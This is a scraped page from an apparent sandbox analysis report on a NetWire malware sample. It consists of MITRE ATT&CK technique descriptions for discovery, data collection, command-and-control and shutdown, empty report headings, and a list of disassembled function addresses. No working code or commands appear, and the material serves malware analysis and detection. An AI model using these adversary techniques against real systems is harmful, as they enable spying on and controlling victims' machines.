Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report US1pwXib6h.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: NetWire

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

Function 004030CB, Relevance: 70.3, APIs: 23, Strings: 17, Instructions: 270
filestringcomCOMMON

Function 73861A98, Relevance: 25.1, APIs: 13, Strings: 1, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403526, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Function 738616DB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Function 00401389, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
windowCOMMON

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Function 73862921, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21
memoryCOMMON

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 73862A38, Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 7386101B, Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Function 73861215, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Function 004046CA, Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 478
windowmemoryCOMMONCrypto

Function 00404EB9, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Function 004041CD, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 266
stringCOMMON

Function 004059FF, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 197
stringCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre